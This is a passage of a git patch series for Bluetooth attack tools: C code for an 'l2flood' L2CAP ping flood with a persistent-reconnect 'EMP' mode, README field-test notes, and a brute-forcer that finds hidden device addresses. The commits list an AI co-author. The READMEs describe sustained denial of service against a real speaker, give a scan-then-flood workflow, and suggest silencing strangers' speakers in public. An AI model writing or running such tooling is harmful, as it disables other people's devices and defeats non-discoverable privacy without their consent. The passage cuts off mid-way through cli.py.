+ + /* -------------------------------------------------- + * PHASE 3: FORCED CLOSE + RESYNC + * Always close after each burst regardless of whether + * send failed. The resync sleep gives all threads time + * to also close so the next connect round is synchronized + * -- recreating the full-ACL-teardown pressure every cycle. + * -------------------------------------------------- */ + close(sk); + sk = -1; + usleep(EMP_RESYNC_US); + } + + free(send_buf); + sigint_handler(0); +} +#endif /* _OPENMP */ + +/* Wrapper */ +static void ping(char *svr) +{ +#ifdef _OPENMP + if (reconnect) + ping_emp(svr); + else +#endif + ping_normal(svr); +} + +int main(int argc, char *argv[]) +{ + int i; + long val; + char *target = NULL; + + if (argc < 2) { + usage(); + exit(1); + } + + /* Default options */ + bacpy(&bdaddr, BDADDR_ANY); +#ifdef _OPENMP + threads = sysconf(_SC_NPROCESSORS_ONLN); + if (threads < 1) threads = 1; +#endif + + /* Manual argument parsing to avoid GNU getopt permutation issues. + * Scan argv once: flags with arguments consume the next element, + * bare flags are handled inline, anything else is the target. */ + for (i = 1; i < argc; i++) { + if (argv[i][0] != '-') { + /* Positional argument: target BD_ADDR */ + if (target) { + fprintf(stderr, "Error: unexpected extra argument '%s'\n", argv[i]); + fprintf(stderr, " (use -i to specify the HCI adapter)\n\n"); + usage(); + exit(1); + } + target = argv[i]; + continue; + } + + /* Single-character flags, possibly combined (-rv) */ + if (strlen(argv[i]) < 2) { + fprintf(stderr, "Error: bare '-' is not a valid option\n"); + usage(); + exit(1); + } + + switch (argv[i][1]) { + case 'i': + if (++i >= argc) { + fprintf(stderr, "Error: -i requires an argument\n"); + exit(1); + } + if (!strncasecmp(argv[i], "hci", 3)) + hci_devba(atoi(argv[i] + 3), &bdaddr); + else + str2ba(argv[i], &bdaddr); + break; + + case 'd': + if (++i >= argc) { + fprintf(stderr, "Error: -d requires an argument\n"); + exit(1); + } + val = parse_positive_int(argv[i], "d"); + if (val < 0) exit(1); + delay = (int)val; + break; + + case 'f': + delay = 0; + break; + + case 'r': + reverse = 1; + break; + + case 'v': + verify = 1; + break; + + case 'c': + if (++i >= argc) { + fprintf(stderr, "Error: -c requires an argument\n"); + exit(1); + } + count = atoi(argv[i]); + break; + + case 't': + if (++i >= argc) { + fprintf(stderr, "Error: -t requires an argument\n"); + exit(1); + } + val = parse_positive_int(argv[i], "t"); + if (val < 0) exit(1); + if (val == 0) { + fprintf(stderr, "Error: -t timeout must be > 0\n"); + exit(1); + } + timeout = (int)val; + break; + + case 's': + if (++i >= argc) { + fprintf(stderr, "Error: -s requires an argument\n"); + exit(1); + } + val = parse_positive_int(argv[i], "s"); + if (val < 0) exit(1); + if (val == 0) { + fprintf(stderr, "Error: -s size must be > 0\n"); + exit(1); + } + if (val > 65535) { + fprintf(stderr, "Error: -s size must be <= 65535\n"); + exit(1); + } + size = (int)val; + break; + +#ifdef _OPENMP + case 'R': + reconnect = 1; + break; + + case 'n': + if (++i >= argc) { + fprintf(stderr, "Error: -n requires an argument\n"); + exit(1); + } + val = parse_positive_int(argv[i], "n"); + if (val < 0) exit(1); + if (val == 0) { + fprintf(stderr, "Error: -n threads must be > 0\n"); + exit(1); + } + threads = (int)val; + break; +#endif + + case 'h': + usage(); + exit(0); + + default: + fprintf(stderr, "Error: unknown option '-%c'\n\n", argv[i][1]); + usage(); + exit(1); + } + } + + if (!target) { + fprintf(stderr, "Error: missing target BD_ADDR\n\n"); + usage(); + exit(1); + } + + if (!valid_bdaddr(target)) { + fprintf(stderr, "Error: '%s' is not a valid BD_ADDR (expected XX:XX:XX:XX:XX:XX)\n", + target); + exit(1); + } + +#ifdef _OPENMP + #pragma omp parallel num_threads(threads) +#endif + { + ping(target); + } + + return 0; +} From 93e3e27128a0e0d303bb0d643f1e3d99cf1e56ae Mon Sep 17 00:00:00 2001 From: suteny0r Date: Sun, 5 Jul 2026 19:10:01 -0400 Subject: [PATCH 2/5] Document field test findings and compare to upstream claims Tested l2flood against K07 Bluetooth speaker. Key finding: the actual disruption mechanism is ACL link preemption, not CPU overload as the upstream README claims. l2flood blocks reconnection but cannot break existing connections. EMP mode (-R) causes persistent state corruption requiring a full power cycle to recover from. Also documents the i686 PIE stack corruption bug and its fix. Co-Authored-By: Claude Opus 4.6 --- l2flood-emp-mode/README.md | 220 ++++++++++++++++++++++++------------- 1 file changed, 144 insertions(+), 76 deletions(-) diff --git a/l2flood-emp-mode/README.md b/l2flood-emp-mode/README.md index a972c56..4cc0714 100644 --- a/l2flood-emp-mode/README.md +++ b/l2flood-emp-mode/README.md @@ -1,76 +1,144 @@ -# l2flood - -[![builds.sr.ht status](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml.svg)](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml?) - -Flood a given bluetooth device with ping requests in order to force it to -disconnect. - -# INSTALL - -Satisfy the [dependencies](#dependencies) first, and then: - -```bash -git clone https://git.sr.ht/~kovmir/l2flood -cd l2flood -make -sudo make install -``` - -# USAGE - -Suppose there is a loud bluetooth speaker in public, and suppose -`94:3a:2c:e1:2b:07` is its address. You can shut it off like that: - -```bash -l2flood 94:3a:2c:e1:2b:07 # Flood with up to 4 threads, depending on how many CPU cores are available. -l2flood -t 5 94:3a:2c:e1:2b:07 # Flood with 5 threads. -``` - -A weak speaker CPU or Bluetooth interface will not be able to process that many -ping requests, and receive/decode music simultaneously, so it will -disconnect. - -*Your bluetooth card is your bottleneck: Even if you have a multi-core -multi-gigahertz CPU, it makes little to no sense to spawn as much as 100 -threads, because your bluetooth card is unlikely to be fast enough to process -all the requests as quick as you submit them.* - -# DEPENDENCIES - -* [Bluez][3] - * On Debian/Ubuntu/Kali `sudo apt install -y libbluetooth-dev`. - -# SUPPORTED OPERATING SYSTEMS - -* Linux - -# CREDITS - -[@Ymsniper](https://github.com/Ymsniper) refactored the entire flood algorithm. - -# FAQ - -**Q: Does it work in [termux][2]?** - -A: No, [Bluez][3] libraries are not available in termux. - -**Q: Does it work on Steam Deck?** - -A: Yes. - -**Q: How to increase flood efficiency?** - -A: Get a second bluetooth card, and flood using both of them. - -```bash -BT_ADDR='00:00:00:00:00:00' # Set the target address. -l2flood -i hci0 $BT_ADDR & -l2flood -i hci1 $BT_ADDR -``` - -**Q: How to fix `Can't create socket: Operation not permitted`?** - -A: Re-run as `root` user. - -[2]: https://github.com/termux/termux-app -[3]: https://www.bluez.org/ +# l2flood + +[![builds.sr.ht status](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml.svg)](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml?) + +Flood a given bluetooth device with ping requests in order to force it to +disconnect. + +# INSTALL + +Satisfy the [dependencies](#dependencies) first, and then: + +```bash +git clone https://git.sr.ht/~kovmir/l2flood +cd l2flood +make +sudo make install +``` + +# USAGE + +Suppose there is a loud bluetooth speaker in public, and suppose +`94:3a:2c:e1:2b:07` is its address. You can shut it off like that: + +```bash +l2flood 94:3a:2c:e1:2b:07 # Flood with up to 4 threads, depending on how many CPU cores are available. +l2flood -t 5 94:3a:2c:e1:2b:07 # Flood with 5 threads. +``` + +A weak speaker CPU or Bluetooth interface will not be able to process that many +ping requests, and receive/decode music simultaneously, so it will +disconnect. + +*Your bluetooth card is your bottleneck: Even if you have a multi-core +multi-gigahertz CPU, it makes little to no sense to spawn as much as 100 +threads, because your bluetooth card is unlikely to be fast enough to process +all the requests as quick as you submit them.* + +# DEPENDENCIES + +* [Bluez][3] + * On Debian/Ubuntu/Kali `sudo apt install -y libbluetooth-dev`. + +# SUPPORTED OPERATING SYSTEMS + +* Linux + +# CREDITS + +[@Ymsniper](https://github.com/Ymsniper) refactored the entire flood algorithm. + +# FIELD TEST RESULTS + +Tested against a **K07 Bluetooth speaker** (`B3:C0:10:2D:B6:78`) from a +Kali Linux i686 system with two HCI adapters (hci0, hci1). + +## What actually works + +| Scenario | Result | +|---|---| +| Phone **disconnected**, `l2flood ` | l2flood establishes ACL link and floods. Phone cannot reconnect until l2flood loses the connection (reset-by-peer). | +| Phone **disconnected**, `l2flood -R ` (EMP mode) | Sustained DOS. When the device resets the connection, l2flood automatically reconnects and resumes flooding. Phone remains locked out indefinitely. | +| Phone **connected**, `l2flood ` | Fails. `connect()` returns "Host is down." l2flood cannot displace an existing ACL link. | +| Phone **connected**, `l2flood -R ` | Fails silently. Tight retry loop, but every `connect()` attempt is rejected. | + +## Key observations + +- **EMP mode requires a power cycle to recover from.** After sustained + `-R` flooding, the K07 could not re-pair with the phone even after + l2flood was stopped. Both the speaker and the phone required a full + power cycle before normal Bluetooth operation resumed. + +- **L2CAP echo requests go unanswered.** `l2ping` successfully + establishes an ACL connection to the K07 but receives no echo + response. l2flood still disrupts the device despite this, because the + disruption mechanism is connection-level, not ping-level. + +- **The device does not need to be discoverable.** Non-discoverable mode + only suppresses inquiry scan responses. `l2ping` and `l2flood` call + `connect()` directly, which uses page scan, a separate mechanism that + most devices leave enabled at all times. + +## Comparison to upstream claims + +The original l2flood README states: + +> *"A weak speaker CPU or Bluetooth interface will not be able to +> process that many ping requests, and receive/decode music +> simultaneously, so it will disconnect."* + +This description is **inaccurate**. The actual disruption mechanism is +**ACL link preemption**, not CPU/radio overload: + +1. Classic Bluetooth allows only **one ACL link per remote BD_ADDR**. + When l2flood holds the ACL link, the phone's connection request is + rejected at the baseband layer before any L2CAP traffic is involved. + +2. l2flood **cannot** force an already-connected device to disconnect. + If the phone already holds the ACL link, l2flood's `connect()` fails + with `EHOSTDOWN`. The speaker's CPU load is irrelevant. + +3. The flood does not need to overwhelm anything. A single successful + `connect()` is sufficient to block the phone. The L2CAP ping flood + that follows simply keeps the connection alive and may contribute to + the persistent state corruption observed after EMP mode. + +The practical implication: l2flood is a **reconnection denial** tool, +not a **disconnection** tool. It blocks new connections but cannot break +existing ones. To disrupt an active audio stream, the attacker must +wait for or cause a natural disconnection first (e.g., move out of +range, wait for a timeout, or rely on the user pausing playback). + +## i686 build note + +On 32-bit (i686) Kali, PIE executables exhibit stack corruption in +`main()` (`argc` receives a garbage stack address). The Makefile builds +with `-no-pie -fno-pie` to avoid this. If you see l2flood segfault +immediately on launch with no arguments, this is the likely cause. + +# FAQ + +**Q: Does it work in [termux][2]?** + +A: No, [Bluez][3] libraries are not available in termux. + +**Q: Does it work on Steam Deck?** + +A: Yes. + +**Q: How to increase flood efficiency?** + +A: Get a second bluetooth card, and flood using both of them. + +```bash +BT_ADDR='00:00:00:00:00:00' # Set the target address. +l2flood -i hci0 $BT_ADDR & +l2flood -i hci1 $BT_ADDR +``` + +**Q: How to fix `Can't create socket: Operation not permitted`?** + +A: Re-run as `root` user. + +[2]: https://github.com/termux/termux-app +[3]: https://www.bluez.org/ From 641556dd1c7b18da896d87a68f2bfa03fb62f918 Mon Sep 17 00:00:00 2001 From: suteny0r Date: Sun, 5 Jul 2026 19:49:47 -0400 Subject: [PATCH 3/5] Document when BBF is unnecessary, add hcitool scan fallback Most consumer Bluetooth devices are discoverable. A standard inquiry scan (bluetoothctl/hcitool) returns the full BD_ADDR directly, making UAP brute-forcing unnecessary. Added a section to the README explaining this and when BBF + Ubertooth is actually needed. Also added hcitool scan fallback in cli.py so bbf no longer hard-exits when ubertooth-rx is missing -- it offers to scan for discoverable devices instead. Co-Authored-By: Claude Opus 4.6 --- README.md | 442 ++++++++++++++++++++++++++----------------------- src/bbf/cli.py | 427 +++++++++++++++++++++++++++-------------------- 2 files changed, 478 insertions(+), 391 deletions(-) diff --git a/README.md b/README.md index 9ceaf08..d9c948e 100644 --- a/README.md +++ b/README.md @@ -1,208 +1,234 @@ -# BBF --- BD_ADDR(UAP) Brute-Forcer - -Brute-forces one unknown octet (the UAP) of a target's Bluetooth -`BD_ADDR` by `l2ping`-ing every possible value, given a known LAP. -Useful for locating a non-discoverable device when part of the address -is already known (from a prior scan, OUI lookup, sniffed traffic, etc). - -If no LAP is given on the command line, `bbf` instead drives an -interactive `ubertooth-rx` survey to find candidate addresses over the -air, then lets you pick one to feed into the sweep. - -The UAP space is only 256 values, so a full sweep is a couple hundred -serial l2ping calls, 5 minutes worst-case at the default pageto, -often faster since most candidates fail well before the timeout. - -> **Scope.** A `BD_ADDR` is `NAP(2 bytes):UAP(1 byte):LAP(3 bytes)`. -> `ubertooth`'s survey always resolves the LAP (that's what identifies -> the piconet from the channel access code) and often resolves the UAP -> too (via CRC-based recovery), but never the NAP — `bbf` assumes the -> NAP (`--prefix`, default `00:00`) and never brute-forces it. -> -> **Why the NAP always shows as `??:??`.** This isn't a gap in -> `ubertooth-rx` or a limitation of this tool — the NAP is structurally -> unrecoverable from over-the-air traffic for *any* sniffer. The -> physical link (the frequency-hopping sequence and the channel access -> code used to page a device and stay synced to it) is derived only -> from the LAP and UAP. The NAP is never transmitted as part of that -> derivation; it only exists for the OUI/manufacturer-lookup portion of -> the address. That's precisely why `bbf` can just assume it via -> `--prefix` instead of sweeping it: the baseband layer doesn't consult -> the NAP to complete a connection, so a wrong assumed NAP doesn't -> prevent `l2ping` from reaching the device once the UAP is correct. - -## Name resolution - -Any time `bbf` has a complete address (known UAP), whether that's a -'ready to use' hit straight from the survey or one confirmed live by -the sweep, it now also runs `hcitool name` against it and reports the -result. This is a separate radio exchange from `l2ping`/paging, and it -works even against addresses `bbf` itself never explicitly paged: a -Remote_Name_Request doesn't require pairing/bonding, so any -page-scannable device -- most devices, briefly, even ones in -"non-discoverable" mode -- will typically answer one. - -``` -Resolving names for 2 known-UAP address(es) from the survey... - [survey] 00:00:be:b4:f1:3f -> Redmi Note 14 5G - [survey] 00:00:5c:06:3e:0f -> JBL TUNE BEAM -``` - -A `(no name response)` result is itself informative, not just a miss -- -it can mean the address is confirmed live but the stack is hardened -against unauthenticated name disclosure (some newer stacks throttle or -restrict this as a tracking mitigation), which may be exactly the kind -of inconsistency you're auditing for. - -Use `--save FILE` to also append every resolved (or attempted) result -to a TSV log as `timestampaddressnamesource`, where -`source` is `survey` or `sweep` depending on how the UAP was known. -The file is created if missing and only ever appended to, so repeated -runs across different LAPs/sessions accumulate into one log. Use -`--no-resolve-names` to skip name resolution entirely and get the old -address-only behavior; `--name-timeout` (default 20s) bounds how long -each `hcitool name` call can block, independent of `--pageto`. - -## Legal / ethical use - -Only run this against devices you own or are explicitly authorized to -test (e.g. as part of an engagement you have written permission for). -Brute-forcing a device's address defeats Bluetooth's non-discoverable -mode, which some people rely on for privacy. Locating or fingerprinting -someone else's device without consent may be illegal in your -jurisdiction and is not the intended use of this tool. - -most Bluetooth devices are paired and set to non-discoverable, since general discovery scans are what most people/OSes turn off after initial setup, but non-discoverable only blocks scanning, not connections. L2CAP is connection-oriented and has no discovery mechanism of its own; l2ping/l2flood both call connect() directly and need only the LAP+UAP (NAP not needed, exact full BD_ADDR not needed) which what bbf + ubertooth does Therefore bbf makes flood tools easier against real targets. - -## Requirements - -- Linux with BlueZ (`l2ping`, `hciconfig`) — `sudo apt install bluez` -- Installed l2flood-emp-mode https://github.com/Ymsniper/l2flood/tree/emp-mode (already packaged with BBF) **original: https://github.com/kovmir/l2flood ** -- `sudo` privileges (both `l2ping` and `hciconfig pageto` need root) -- A Bluetooth adapter, brought up (`hciconfig hci0 up`) -- Optional, only for the survey front-end: an - [Ubertooth One](https://github.com/greatscottgadgets/ubertooth) and - `ubertooth-rx` on `PATH` — `sudo apt install ubertooth` - -## Install - -```bash -git clone https://github.com/Ymsniper/BBF -cd BBF -pip install . -# (pip install . --break-system-packages) if needed -# optional for running DOS attack: -cd l2flood-emp-mode -make # Use `make serial` to build upstream l2ping. -sudo make install -``` - -This installs a `bbf` command. For local development, install in -editable mode with the test dependencies: - -```bash -pip install -e ".[dev]" -``` - -## Usage - -``` -bbf [known_octets] [--prefix XX:XX] [--hcidev hci0] - [--pageto SLOTS] [--no-pageto-override] [--no-retry] - [--retries N] [--only BYTES] [--scan-time SECONDS] - [--save FILE] [--no-resolve-names] [--name-timeout SECONDS] -``` - -| Option | Default | Meaning | -|---|---|---| -| `known_octets` | *(none)* | The 3 known trailing octets (LAP), e.g. `1E:B7:E4`. If omitted, runs the interactive `ubertooth-rx` survey first. | -| `--prefix` | `00:00` | The 2 known leading octets (NAP). | -| `--hcidev` | `hci0` | HCI adapter to tune. | -| `--pageto` | `1600` | Controller page timeout in slots (1 slot = 0.625 ms) used for the duration of the sweep, so a dead address doesn't tie up the controller for long. Restored before the recheck pass. | -| `--no-pageto-override` | off | Leave the adapter's page timeout untouched. | -| `--no-retry` | off | Skip the serial recheck pass entirely. | -| `--retries` | `2` | Extra attempts per address during the recheck pass (so 3 total attempts by default). | -| `--only` | *(none)* | Comma-separated hex byte(s) to test directly instead of sweeping `00..ff`, e.g. `5c` or `04,5c,a1`. | -| `--scan-time` | *(prompted, 30s)* | `ubertooth-rx -t` duration for the interactive survey. Only used when `known_octets` is omitted. | -| `--save` | *(none)* | Append `timestamp`, `address`, `name`, `source` (TSV) to this file for every known-UAP address resolved, from the survey or the sweep. Created if missing, never truncated. | -| `--no-resolve-names` | off | Skip `hcitool name` resolution entirely; report addresses only (old behavior). | -| `--name-timeout` | `20` | Subprocess-level timeout in seconds per `hcitool name` call, independent of `--pageto`. | - -### Examples - -Sweep all 256 possible UAP values against a known LAP: - -```bash -bbf 1E:B7:E4 -# probes 00:00:XX:1E:B7:E4 for XX in 00..FF -``` - -Test one specific candidate byte directly, skipping the sweep: - -```bash -bbf 1E:B7:E4 --only 5c -# tests only 00:00:5c:1E:B7:E4 -``` - -No LAP known yet — run an interactive `ubertooth-rx` survey, pick a -target from the results, then sweep it: - -```bash -bbf -``` - -## How it works - -### The survey (when `known_octets` is omitted) - -`bbf` runs `ubertooth-rx -z -t `, streaming its output live -and parsing the "Survey Results" section at the end. Each line is one -of: - -``` -??:??:BE:B4:F1:3F UAP resolved (BE). Nothing left to sweep — this is - already a complete candidate modulo the assumed - NAP. Listed as "ready to use". -??:??:??:C5:9D:87 UAP unresolved (extra ??). LAP (C5:9D:87) is - offered as a numbered sweep target. -``` - -### The sweep - -Probes run strictly serially, one `l2ping` at a time, on purpose, not -as a simplification. A `btmon` capture against a typical adapter shows -`Num_HCI_Command_Packets` (`ncmd 1`) on every Create Connection command, -meaning the controller only ever grants the host a single outstanding -page-attempt credit. Underneath that, the Link Controller has one -baseband and one RF front end, so it can only occupy the page state for -one target's frequency-hop sequence at a time regardless. `--pageto` is -the one knob that actually changes total scan time. - -There's no external timeout on the `l2ping` probe itself — each address -blocks until `l2ping` exits on its own, bounded by the controller's own -page timeout (`--pageto`). Ctrl-C still works if you need to bail out -by hand. - -After the first pass, any address that came back "no" gets a serial -**recheck pass**: the original (larger) page timeout is restored, and -each address gets up to `--retries` extra attempts, since a Bluetooth -device only listens for pages during its own page-scan window — a -single miss, even against the exact right address, can just mean the -attempt didn't land inside that window. - -## Development - -```bash -pip install -e ".[dev]" -pytest -``` - -# CREDITS - -[@kovmir](https://github.com/kovmir) for l2flood and -[@Great Scott Gadgets](https://github.com/greatscottgadgets) for ubertooth - - -## License - -MIT — see [LICENSE](LICENSE). +# BBF --- BD_ADDR(UAP) Brute-Forcer + +Brute-forces one unknown octet (the UAP) of a target's Bluetooth +`BD_ADDR` by `l2ping`-ing every possible value, given a known LAP. +Useful for locating a non-discoverable device when part of the address +is already known (from a prior scan, OUI lookup, sniffed traffic, etc). + +If no LAP is given on the command line, `bbf` instead drives an +interactive `ubertooth-rx` survey to find candidate addresses over the +air, then lets you pick one to feed into the sweep. + +The UAP space is only 256 values, so a full sweep is a couple hundred +serial l2ping calls, 5 minutes worst-case at the default pageto, +often faster since most candidates fail well before the timeout. + +> **Scope.** A `BD_ADDR` is `NAP(2 bytes):UAP(1 byte):LAP(3 bytes)`. +> `ubertooth`'s survey always resolves the LAP (that's what identifies +> the piconet from the channel access code) and often resolves the UAP +> too (via CRC-based recovery), but never the NAP — `bbf` assumes the +> NAP (`--prefix`, default `00:00`) and never brute-forces it. +> +> **Why the NAP always shows as `??:??`.** This isn't a gap in +> `ubertooth-rx` or a limitation of this tool — the NAP is structurally +> unrecoverable from over-the-air traffic for *any* sniffer. The +> physical link (the frequency-hopping sequence and the channel access +> code used to page a device and stay synced to it) is derived only +> from the LAP and UAP. The NAP is never transmitted as part of that +> derivation; it only exists for the OUI/manufacturer-lookup portion of +> the address. That's precisely why `bbf` can just assume it via +> `--prefix` instead of sweeping it: the baseband layer doesn't consult +> the NAP to complete a connection, so a wrong assumed NAP doesn't +> prevent `l2ping` from reaching the device once the UAP is correct. + +## When you don't need BBF at all + +BBF exists to brute-force the UAP when you only have a partial address +(the LAP) from passive Ubertooth sniffing. If the target device is +**discoverable**, a standard inquiry scan already returns the full +BD_ADDR and there is nothing left to brute-force: + +```bash +# Standard scan gives you the full address directly: +bluetoothctl scan on +# B3:C0:10:2D:B6:78 K07 + +# Skip BBF entirely and go straight to l2flood: +l2flood -R B3:C0:10:2D:B6:78 +``` + +Most consumer Bluetooth devices (speakers, headphones, earbuds) are +discoverable by default, or at minimum are discoverable during pairing +and for some time afterward. Against these targets, the full workflow +is just scan + l2flood. BBF + Ubertooth is only needed when the target +is non-discoverable **and** you have no other way to obtain its address. + +If `bbf` is run with no arguments and no Ubertooth hardware is present, +it now falls back to `hcitool scan` and lets you select a discoverable +target directly, bypassing the UAP sweep entirely. + +## Name resolution + +Any time `bbf` has a complete address (known UAP), whether that's a +'ready to use' hit straight from the survey or one confirmed live by +the sweep, it now also runs `hcitool name` against it and reports the +result. This is a separate radio exchange from `l2ping`/paging, and it +works even against addresses `bbf` itself never explicitly paged: a +Remote_Name_Request doesn't require pairing/bonding, so any +page-scannable device -- most devices, briefly, even ones in +"non-discoverable" mode -- will typically answer one. + +``` +Resolving names for 2 known-UAP address(es) from the survey... + [survey] 00:00:be:b4:f1:3f -> Redmi Note 14 5G + [survey] 00:00:5c:06:3e:0f -> JBL TUNE BEAM +``` + +A `(no name response)` result is itself informative, not just a miss -- +it can mean the address is confirmed live but the stack is hardened +against unauthenticated name disclosure (some newer stacks throttle or +restrict this as a tracking mitigation), which may be exactly the kind +of inconsistency you're auditing for. + +Use `--save FILE` to also append every resolved (or attempted) result +to a TSV log as `timestampaddressnamesource`, where +`source` is `survey` or `sweep` depending on how the UAP was known. +The file is created if missing and only ever appended to, so repeated +runs across different LAPs/sessions accumulate into one log. Use +`--no-resolve-names` to skip name resolution entirely and get the old +address-only behavior; `--name-timeout` (default 20s) bounds how long +each `hcitool name` call can block, independent of `--pageto`. + +## Legal / ethical use + +Only run this against devices you own or are explicitly authorized to +test (e.g. as part of an engagement you have written permission for). +Brute-forcing a device's address defeats Bluetooth's non-discoverable +mode, which some people rely on for privacy. Locating or fingerprinting +someone else's device without consent may be illegal in your +jurisdiction and is not the intended use of this tool. + +most Bluetooth devices are paired and set to non-discoverable, since general discovery scans are what most people/OSes turn off after initial setup, but non-discoverable only blocks scanning, not connections. L2CAP is connection-oriented and has no discovery mechanism of its own; l2ping/l2flood both call connect() directly and need only the LAP+UAP (NAP not needed, exact full BD_ADDR not needed) which what bbf + ubertooth does Therefore bbf makes flood tools easier against real targets. + +## Requirements + +- Linux with BlueZ (`l2ping`, `hciconfig`) — `sudo apt install bluez` +- Installed l2flood-emp-mode https://github.com/Ymsniper/l2flood/tree/emp-mode (already packaged with BBF) **original: https://github.com/kovmir/l2flood ** +- `sudo` privileges (both `l2ping` and `hciconfig pageto` need root) +- A Bluetooth adapter, brought up (`hciconfig hci0 up`) +- Optional, only for the survey front-end: an + [Ubertooth One](https://github.com/greatscottgadgets/ubertooth) and + `ubertooth-rx` on `PATH` — `sudo apt install ubertooth` + +## Install + +```bash +git clone https://github.com/Ymsniper/BBF +cd BBF +pip install . +# (pip install . --break-system-packages) if needed +# optional for running DOS attack: +cd l2flood-emp-mode +make # Use `make serial` to build upstream l2ping. +sudo make install +``` + +This installs a `bbf` command. For local development, install in +editable mode with the test dependencies: + +```bash +pip install -e ".[dev]" +``` + +## Usage + +``` +bbf [known_octets] [--prefix XX:XX] [--hcidev hci0] + [--pageto SLOTS] [--no-pageto-override] [--no-retry] + [--retries N] [--only BYTES] [--scan-time SECONDS] + [--save FILE] [--no-resolve-names] [--name-timeout SECONDS] +``` + +| Option | Default | Meaning | +|---|---|---| +| `known_octets` | *(none)* | The 3 known trailing octets (LAP), e.g. `1E:B7:E4`. If omitted, runs the interactive `ubertooth-rx` survey first. | +| `--prefix` | `00:00` | The 2 known leading octets (NAP). | +| `--hcidev` | `hci0` | HCI adapter to tune. | +| `--pageto` | `1600` | Controller page timeout in slots (1 slot = 0.625 ms) used for the duration of the sweep, so a dead address doesn't tie up the controller for long. Restored before the recheck pass. | +| `--no-pageto-override` | off | Leave the adapter's page timeout untouched. | +| `--no-retry` | off | Skip the serial recheck pass entirely. | +| `--retries` | `2` | Extra attempts per address during the recheck pass (so 3 total attempts by default). | +| `--only` | *(none)* | Comma-separated hex byte(s) to test directly instead of sweeping `00..ff`, e.g. `5c` or `04,5c,a1`. | +| `--scan-time` | *(prompted, 30s)* | `ubertooth-rx -t` duration for the interactive survey. Only used when `known_octets` is omitted. | +| `--save` | *(none)* | Append `timestamp`, `address`, `name`, `source` (TSV) to this file for every known-UAP address resolved, from the survey or the sweep. Created if missing, never truncated. | +| `--no-resolve-names` | off | Skip `hcitool name` resolution entirely; report addresses only (old behavior). | +| `--name-timeout` | `20` | Subprocess-level timeout in seconds per `hcitool name` call, independent of `--pageto`. | + +### Examples + +Sweep all 256 possible UAP values against a known LAP: + +```bash +bbf 1E:B7:E4 +# probes 00:00:XX:1E:B7:E4 for XX in 00..FF +``` + +Test one specific candidate byte directly, skipping the sweep: + +```bash +bbf 1E:B7:E4 --only 5c +# tests only 00:00:5c:1E:B7:E4 +``` + +No LAP known yet — run an interactive `ubertooth-rx` survey, pick a +target from the results, then sweep it: + +```bash +bbf +``` + +## How it works + +### The survey (when `known_octets` is omitted) + +`bbf` runs `ubertooth-rx -z -t `, streaming its output live +and parsing the "Survey Results" section at the end. Each line is one +of: + +``` +??:??:BE:B4:F1:3F UAP resolved (BE). Nothing left to sweep — this is + already a complete candidate modulo the assumed + NAP. Listed as "ready to use". +??:??:??:C5:9D:87 UAP unresolved (extra ??). LAP (C5:9D:87) is + offered as a numbered sweep target. +``` + +### The sweep + +Probes run strictly serially, one `l2ping` at a time, on purpose, not +as a simplification. A `btmon` capture against a typical adapter shows +`Num_HCI_Command_Packets` (`ncmd 1`) on every Create Connection command, +meaning the controller only ever grants the host a single outstanding +page-attempt credit. Underneath that, the Link Controller has one +baseband and one RF front end, so it can only occupy the page state for +one target's frequency-hop sequence at a time regardless. `--pageto` is +the one knob that actually changes total scan time. + +There's no external timeout on the `l2ping` probe itself — each address +blocks until `l2ping` exits on its own, bounded by the controller's own +page timeout (`--pageto`). Ctrl-C still works if you need to bail out +by hand. + +After the first pass, any address that came back "no" gets a serial +**recheck pass**: the original (larger) page timeout is restored, and +each address gets up to `--retries` extra attempts, since a Bluetooth +device only listens for pages during its own page-scan window — a +single miss, even against the exact right address, can just mean the +attempt didn't land inside that window. + +## Development + +```bash +pip install -e ".[dev]" +pytest +``` + +# CREDITS + +[@kovmir](https://github.com/kovmir) for l2flood and +[@Great Scott Gadgets](https://github.com/greatscottgadgets) for ubertooth + + +## License + +MIT — see [LICENSE](LICENSE). diff --git a/src/bbf/cli.py b/src/bbf/cli.py index 49fad76..903f7f2 100644 --- a/src/bbf/cli.py +++ b/src/bbf/cli.py @@ -1,183 +1,244 @@ -"""Top-level orchestration: ties the optional ubertooth survey to the -l2ping sweep, resolves names for any address with a known UAP along the -way, and handles pageto save/restore around the run. -""" -import shutil -import subprocess -import sys - -from .args import parse_args -from .banner import print_banner -from .log import append_result -from .resolve import resolve_name -from .survey import ( - confirm_and_run, - parse_survey_results, - prompt_scan_timeout, - run_ubertooth_scan, - select_target, -) -from .sweep import get_pageto, probe_one, set_pageto - - -def _resolve_and_log(addr, args, source): - """Resolve addr's name via hcitool (unless disabled), print it, and - append it to --save's file if one was given. `source` records how - the UAP became known ('survey' or 'sweep') for the log line. Returns - the resolved name, or None if resolution was skipped/unsuccessful.""" - if args.no_resolve_names: - return None - name = resolve_name(addr, hcidev=args.hcidev, timeout=args.name_timeout) - print(f" [{source}] {addr} -> {name if name else '(no name response)'}") - if args.save: - append_result(args.save, addr, name, source) - return name - - -def _resolve_target_via_survey(args): - """No LAP given on the CLI -- interactively survey for one. Mutates - args.known_octets in place, or exits the process if the user bails. - - Every survey pass that turns up 'ready to use' (UAP already - resolved) candidates gets those names resolved and logged - immediately, regardless of which candidate (if any) the user goes - on to pick for brute-forcing -- they're already complete addresses - modulo the assumed NAP, so there's no reason to wait.""" - if shutil.which("ubertooth-rx") is None: - sys.exit("No known_octets given and ubertooth-rx not found on PATH " - "(try: sudo apt install ubertooth).") - try: - while True: - timeout = args.scan_time if args.scan_time is not None else prompt_scan_timeout() - args.scan_time = None # only honor the CLI value on the first pass - - output = run_ubertooth_scan(timeout) - needs_bf, ready = parse_survey_results(output) - - if ready and not args.no_resolve_names: - print(f"\nResolving names for {len(ready)} known-UAP address(es) from the survey...") - for uap, lap in ready: - addr = f"{args.prefix}:{uap}:{lap}" - _resolve_and_log(addr, args, source="survey") - - mode, value = select_target(needs_bf, ready, args.prefix) - if mode == "sweep": - args.known_octets = value - return - if mode == "ready": - # Already a complete, discovered-UAP address -- its - # command was shown/confirmed inside select_target itself. - # Nothing left for this run to do. - sys.exit(0) - - again = input("\nScan again? [y/N]: ").strip().lower() - if again not in ("y", "yes"): - sys.exit("No target selected. Exiting.") - except KeyboardInterrupt: - sys.exit("\nInterrupted during scan.") - - -def main(argv=None): - print_banner() - args = parse_args(argv) - - # Checked and authenticated up front, before the (possibly interactive, - # possibly repeated) survey step -- that step now also resolves names - # for any 'ready to use' hit it finds, so it 